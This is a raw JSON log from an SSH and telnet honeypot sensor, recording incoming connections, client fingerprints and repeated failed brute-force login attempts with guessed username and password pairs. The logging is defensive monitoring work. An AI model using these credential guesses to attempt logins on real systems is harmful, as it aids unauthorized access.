{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:27:27.859255Z","src_ip":"95.240.192.149","session":"a716c4746e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vboxadmin","password":"vboxadmin","message":"login attempt [vboxadmin/vboxadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:27:28.328598Z","src_ip":"95.240.192.149","session":"a716c4746e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:27:29.441141Z","src_ip":"95.240.192.149","session":"a716c4746e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.64","src_port":32784,"dst_ip":"159.203.135.109","dst_port":23,"session":"de275fa35c98","protocol":"telnet","message":"New connection: 160.119.76.64:32784 (159.203.135.109:23) [session: de275fa35c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:28:14.683210Z"}
{"eventid":"cowrie.session.closed","duration":0.1516110897064209,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:28:14.834705Z","src_ip":"160.119.76.64","session":"de275fa35c98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":44700,"dst_ip":"10.17.0.5","dst_port":22,"session":"21968abb2279","protocol":"ssh","message":"New connection: 95.240.192.149:44700 (10.17.0.5:22) [session: 21968abb2279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:28:24.573591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:28:24.578726Z","src_ip":"95.240.192.149","session":"21968abb2279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:28:24.689707Z","src_ip":"95.240.192.149","session":"21968abb2279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"PASSWORD","message":"login attempt [ubuntu/PASSWORD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:28:25.162237Z","src_ip":"95.240.192.149","session":"21968abb2279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":58580,"dst_ip":"10.17.0.5","dst_port":22,"session":"064036ef809c","protocol":"ssh","message":"New connection: 43.165.177.199:58580 (10.17.0.5:22) [session: 064036ef809c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:28:26.031233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:28:26.036343Z","src_ip":"43.165.177.199","session":"064036ef809c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:28:26.225225Z","src_ip":"43.165.177.199","session":"064036ef809c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:28:26.275728Z","src_ip":"95.240.192.149","session":"21968abb2279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"1","message":"login attempt [frappe/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:28:27.001843Z","src_ip":"43.165.177.199","session":"064036ef809c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:28:28.191860Z","src_ip":"43.165.177.199","session":"064036ef809c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":52308,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a688608f121","protocol":"ssh","message":"New connection: 95.240.192.149:52308 (10.17.0.5:22) [session: 4a688608f121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:29:17.893950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:29:17.898615Z","src_ip":"95.240.192.149","session":"4a688608f121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:29:18.011014Z","src_ip":"95.240.192.149","session":"4a688608f121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2018","message":"login attempt [root/server@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:29:18.489635Z","src_ip":"95.240.192.149","session":"4a688608f121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:29:19.603762Z","src_ip":"95.240.192.149","session":"4a688608f121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":40234,"dst_ip":"10.17.0.5","dst_port":22,"session":"9903c3722c7c","protocol":"ssh","message":"New connection: 95.240.192.149:40234 (10.17.0.5:22) [session: 9903c3722c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:15.555585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:15.560704Z","src_ip":"95.240.192.149","session":"9903c3722c7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:15.671688Z","src_ip":"95.240.192.149","session":"9903c3722c7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX!QAZ","message":"login attempt [ubuntu/1qaz@WSX!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:16.144688Z","src_ip":"95.240.192.149","session":"9903c3722c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:17.260013Z","src_ip":"95.240.192.149","session":"9903c3722c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":57136,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c3c981fd438","protocol":"ssh","message":"New connection: 43.165.177.199:57136 (10.17.0.5:22) [session: 5c3c981fd438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:19.012635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:19.019780Z","src_ip":"43.165.177.199","session":"5c3c981fd438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:19.203682Z","src_ip":"43.165.177.199","session":"5c3c981fd438","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vboxadmin","password":"vboxadmin","message":"login attempt [vboxadmin/vboxadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:19.969353Z","src_ip":"43.165.177.199","session":"5c3c981fd438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:21.157726Z","src_ip":"43.165.177.199","session":"5c3c981fd438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":30857,"dst_ip":"10.17.0.5","dst_port":22,"session":"437c4fe4eb2c","protocol":"ssh","message":"New connection: 2.57.121.112:30857 (10.17.0.5:22) [session: 437c4fe4eb2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:39.881320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:39.887316Z","src_ip":"2.57.121.112","session":"437c4fe4eb2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:39.992058Z","src_ip":"2.57.121.112","session":"437c4fe4eb2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210883","message":"login attempt [admin/210883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:40.479778Z","src_ip":"2.57.121.112","session":"437c4fe4eb2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"21081998","message":"login attempt [admin/21081998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:41.587049Z","src_ip":"2.57.121.112","session":"437c4fe4eb2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"21081997","message":"login attempt [admin/21081997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:42.694180Z","src_ip":"2.57.121.112","session":"437c4fe4eb2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210778","message":"login attempt [admin/210778] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:43.803884Z","src_ip":"2.57.121.112","session":"437c4fe4eb2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"21071969","message":"login attempt [admin/21071969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:44.911917Z","src_ip":"2.57.121.112","session":"437c4fe4eb2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:30:46.022545Z","src_ip":"2.57.121.112","session":"437c4fe4eb2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":54014,"dst_ip":"10.17.0.5","dst_port":22,"session":"78458f4f61b7","protocol":"ssh","message":"New connection: 95.240.192.149:54014 (10.17.0.5:22) [session: 78458f4f61b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:31:09.628613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:31:09.634457Z","src_ip":"95.240.192.149","session":"78458f4f61b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:31:09.755198Z","src_ip":"95.240.192.149","session":"78458f4f61b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"pass","message":"login attempt [guest/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:31:10.236815Z","src_ip":"95.240.192.149","session":"78458f4f61b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:31:11.354388Z","src_ip":"95.240.192.149","session":"78458f4f61b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":34724,"dst_ip":"10.17.0.5","dst_port":22,"session":"22f4066683cb","protocol":"ssh","message":"New connection: 95.240.192.149:34724 (10.17.0.5:22) [session: 22f4066683cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:32:10.993253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:32:10.998572Z","src_ip":"95.240.192.149","session":"22f4066683cb","protocol":"ssh"}
